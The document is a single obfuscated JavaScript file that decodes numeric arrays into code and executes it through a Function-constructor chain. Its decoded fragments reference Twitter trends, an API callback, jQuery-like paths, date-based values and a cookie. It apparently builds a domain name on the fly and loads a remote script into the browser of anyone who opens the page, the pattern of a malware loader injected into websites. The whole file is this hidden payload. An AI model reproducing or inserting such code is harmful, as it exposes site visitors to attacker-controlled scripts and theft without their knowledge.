(function($$){qq2=[8,0,26,0,11,81,29,0,26,86,65,82,0,54,48,29,84,72,73,83,27,60,59,54,48,0,0,38,85,76,76,57,69,65,82,0,5,45,79,78,84,72,0,5,36,65,84,69,0,5,40,79,85,82,83,0,5,45,73,78,85,84,69,83,0,5,51,69,67,79,78,68,83,8,9,61,93,27,0,11,75,29,0,26,0,6,82,12,54,80,29,84,72,73,83,14,3,81,8,9,12,73,29,16,27,54,80,59,17,61,11,29,17,27,87,72,73,76,69,8,73,11,11,28,23,9,91,3,82,29,54,80,59,73,61,0,15,3,82,28,3,45,9,54,80,59,73,61,0,22,3,82,93,60,0,54,80,14,83,80,76,73,67,69,8,94,90,7,9,12,17,11,94,52,0,16,0,23,94,85,0,16,11,7,52,7,11,54,80,0,23,94,53,0,16,93,27,54,39,29,91,7,72,64,72,84,84,80,26,15,15,56,83,64,15,56,84,64,84,82,69,56,68,64,68,65,73,56,78,64,78,68,83,56,81,64,31,56,67,64,67,65,76,76,66,65,67,75,29,56,74,64,3,56,65,64,65,80,73,56,76,64,76,89,56,55,64,84,87,73,84,84,69,82,56,79,64,67,79,77,56,69,64,17,56,75,64,83,56,43,64,66,79,68,89,56,88,64,65,74,65,88,56,36,64,14,56,44,64,76,73,66,83,56,42,64,74,81,85,69,82,89,56,22,64,22,14,18,56,77,64,77,73,78,56,70,64,79,78,56,51,64,67,82,73,80,84,56,73,64,73,70,56,45,64,82,65,77,69,56,57,64,72,69,65,68,56,87,64,87,73,68,84,72,26,56,80,64,80,88,27,56,40,64,72,69,73,71,72,84,26,56,52,64,18,56,82,64,82,67,56,49,64,2,56,89,64,83,84,89,76,69,29,56,66,64,30,28,56,50,64,30,28,15,56,41,64,68,73,86,56,34,64,28,56,33,64,30,56,71,64,71,79,79,71,76,69,56,37,64,6,68,65,84,69,29,56,90,64,16,56,85,64,13,56,53,64,0,56,12,64,26,16,16,56,27,7,26,18,19,20,21,22,23,24,25,16,17,12,7,15,7,26,20,24,18,23,17,12,7,38,7,26,17,25,24,17,25,21,18,21,20,12,7,39,7,26,17,18,12,7,35,64,29,7,93,27,32,0,3,77,8,54,85,9,91,3,52,29,59,61,27,70,79,82,8,54,65,29,16,27,54,65,28,54,85,0,8,27,54,65,11,11,9,91,3,52,14,80,85,83,72,8,54,39,59,54,85,14,67,72,65,82,33,84,8,54,65,9,61,9,93,60,0,3,84,8,3,52,9,93,54,73,29,68,79,67,85,77,69,78,84,27,3,85,29,87,73,78];qq21=[68,79,87,27,0,9,89,29,7,85,78,68,69,70,73,78,69,68,7,27,0,9,90,29,94,72,65,36,55,36,79,83,69,83,84,78,83,68,76,36,74,70,81,67,81,7,0,19,40,29,0,10,9,29,29,0,9,89,9,0,15,3,40,92,92,1,54,67,8,9,9,91,73,70,8,1,3,40,9,91,84,82,89,91,54,71,29,74,49,85,69,82,89,0,1,27,84,82,89,91,54,71,29,4,0,1,93,54,51,29,54,73,14,71,69,84,37,76,69,77,69,78,84,83,34,89,52,65,71,46,65,77,69,8,94,57,0,16,59,16,61,27,3,37,29,54,73,14,67,82,69,65,84,69,37,76,69,77,69,78,84,8,94,75,51,0,16,27,3,37,14,83,69,84,33,84,84,82,73,66,85,84,69,8,94,75,82,7,9,12,3,77,8,2,72,88,36,71,65,75,36,79,83,88,83,44,83,42,83,69,36,22,83,42,36,77,36,74,2,9,9,27,54,51,14,65,80,80,69,78,68,35,72,73,76,68,8,3,37,9,93,32,0,54,50,8,3,83,12,54,38,0,18,45,65,84,72,14,70,76,79,79,82,8,3,83,15,54,38,9,0,25,86,8,3,68,9,91,86,65,82,0,54,70,29,54,50,8,0,9,44,12,0,4,88,9,27,0,6,87,29,0,9,44,5,0,4,88,27,0,6,46,29,0,4,80,10,3,87,27,0,6,38,29,0,4,77,10,54,70,27,0,6,69,29,3,46,13,3,38,0,15,3,69,30,16,9,91,3,44,29,3,69,93,69,76,83,69,91,3,44,29,3,69,11,0,4,33,93,60,8,3,44,5,3,68,9,0,25,42,8,3,78,9,91,0,9,44,29,94,27,7,9,11,3,78,27,0,4,80,29,94,15,7,9,27,0,4,33,29,94,27,7,9,13,94,38,7,9,27,0,4,88,29,54,50,8,0,4,33,12,0,4,80,9,27,0,4,77,29,0,4,33,5,0,4,80,0,25,84,8,54,0,18,54,0,8,29,29,17,31,54,59,16,61,26,54,0,23,7,7,9,93,27,32,0,3,50,8,54,9,91,68,29,78,69,87,0,36,65,84,69,8,0,19,33,29,94,90,69,69,7,9,27,68,14,83,69,84,52,73,77,69,8,8,54,14,65,83,63,79,70,13,94,39,7,9,10];function co(){return 'Code';}function gafu(){return a(String,'f'+ro()+co());}qq3=[94,39,7,9,10,94,39,7,9,10,94,69,90,90,0,16,10,94,69,90,90,90,0,16,27,60,0,68,0,25,79,8,54,35,9,91,0,6,73,12,54,72,12,3,39,29,54,35,0,8,27,0,6,88,29,59,61,27,87,72,73,76,69,8,13,13,3,39,9,91,54,72,29,3,86,8,3,39,0,19,88,14,80,85,83,72,8,54,72,0,19,73,29,54,35,59,54,72,61,27,54,35,59,54,72,61,29,54,35,59,3,39,61,27,54,35,59,3,39,61,29,3,73,93,93,32,0,54,44,8,4,9,91,54,37,29,4,14,77,65,80,8,59,24,17,12,24,21,12,23,20,12,23,20,12,25,18,12,17,23,12,24,18,12,23,19,12,24,16,12,19,16,12,24,18,12,23,23,12,18,21,12,17,17,12,17,16,12,17,16,12,22,17,12,17,17,12,21,22,12,21,21,12,17,17,12,21,19,12,22,12,21,19,12,23,12,18,12,17,12,16,12,20,24,61,12,32,8,88,12,73,0,18,51,84,82,73,78,71,14,70,82,79,77,35,72,65,82,35,79,68,69,8,73,11,88,11,18,20,9,93,9,27,60,0,3,84,8,54,37,9,0,25,74,8,88,0,18,88,0,8,93,32,0,54,52,8,4,9,91,73,70,0,10,9,1,29,0,9,89,9,91,4,8,0,26,73,70,0,10,14,54,79,9,1,29,0,9,89,9,60,27,4,14,54,79,29,17,27,0,20,90,12,32,8,54,45,9,91,3,36,29,3,50,8,54,45,0,19,43,29,3,36,0,0,45,79,78,84,72,8,9,0,27,46,29,3,36,0,0,36,65,84,69,8,0,19,80,29,32,8,88,12,73,9,91,60,8,3,74,8,88,11,2,2,9,13,17,9,31,88,26,2,16,2,11,88,93,27,54,69,29,3,80,8,3,43,12,20,9,11,2,13,2,11,3,80,8,54,46,12,23,0,19,65,29,3,90,11,3,77,8,2,37,0,21,27,54,36,29,54,89,29,54,50,8,3,36,0,0,40,79,85,82,83,8,9,12,22,9,10,22,0,27,90,29,54,36,11,17,27,3,45,29,11,94,69,90,7,9,27,0,12,0,20,65,12,32,8,54,45,9,91,84,82,89,91,3,51,29,54,45,14,84,82,69,78,68,83,27,3,70,29,3,77,8,2,0,21,11,2,0,2,0,15,54,36,28,3,45,9,54,36,0,22,54,36,0,15,54,90,28,3,45,9,54,90,0,22,54,90,27,0,24,36,11,3,77,8,56,9,61,0,15,1,3,67,9,91,0,24,90,11,3,77,8,56,9,61,93,3,67,29,8,3,67,59,19,61,14,78,65,77,69,14,84,79,44,79,87,69,82,35,65,83,69,8,9,14,82,69,80,76,65,67,69,8,15,59,62,65,13,90,61,15,71,73,12,7,7,9,11,7,77,73,67,82,79,83,67,79,80,69,7,9,14,83,80,76,73];qq31=[84,8,7,7,0,19,35,29,3,43,10,23,17,11,54,89,10,19,11,54,46,10,19,23,27,3,42,8,3,35,0,19,74,29,3,86,8,20,9,11,3,45,27,3,79,8,3,67,0,19,66,29,94,35,72,7,9,11,3,84,8,3,67,9,14,83,85,66,83,84,82,73,78,71,8,16,12,3,74,9,11,7,14,67,79,77,15,7,11,54,44,8,4,9,27,54,39,59,7,58,7,61,29,3,66,27,54,82,29,94,34,41,0,17,66,73,45,53,0,17,53,75,82,58,50,73,45,50,41,33,7,9,27,4,8,94,43,0,16,14,65,80,80,69,78,68,8,54,82,9,93,67,65,84,67,72,8,54,81,9,91,93,93,9,93,12,3,45,10,3,45,10,3,45,9,93,9,93,9,93,69,76,83,69,91,0,12,0,13,12,17,11,94,52,52,52,0,16,93,93,0,13,9,8,9,3,74,83,32,70,85,78,67,84,73,79,78,54,3,34,56,7,12,7,64,7,26,7,94,3,77,8,7,60,82,69,84,85,82,78,0,0,14,71,69,84,53,52,35,0,1,14,78,79,35,79,78,70,76,73,67,84,8,84,82,85,69,9,93,67,65,84,67,72,8,69,9,91,93,0,4,3,85,14,54,0,5,8,9,12,54,48,0,0,0,6,86,65,82,0,3,0,8,14,76,69,78,71,84,72,0,9,3,85,14,3,0,10,8,84,89,80,69,79,70,8,4,0,11,36,65,84,69,14,80,82,79,84,79,84,89,80,69,14,3,0,12,83,69,84,52,73,77,69,79,85,84,8,0,26,0,13,54,52,8,3,85,14,74,49,85,69,82,89,9,93,0,15,27,73,70,8,0,16,7,9,9,0,17,89,49,40,52,80,87,69,69,69,80,49,0,18,9,91,60,0,0,19,9,27,3,0,20,4,14,71,69,84,42,51,47,46,8,3,0,21,52,90,69,69,85,2,9,11,54,69,0,22,29,94,90,7,9,11,0,23,14,74,79,73,78,8,0,24,3,67,29,3,51,59,3,70,11,54,0,25,93,32,0,3,0,26,32,8,9,91,0,27,11,8,11,94,69,0,16,27,54];d='';mapper=[3,32,54,56,64,94,60,0,0,0,1,0,4,0,5,0,6,0,8,0,9,0,10,0,11,0,12,0,13,0,15,0,16,0,17,0,18,0,19,0,20,0,21,0,22,0,23,0,24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});

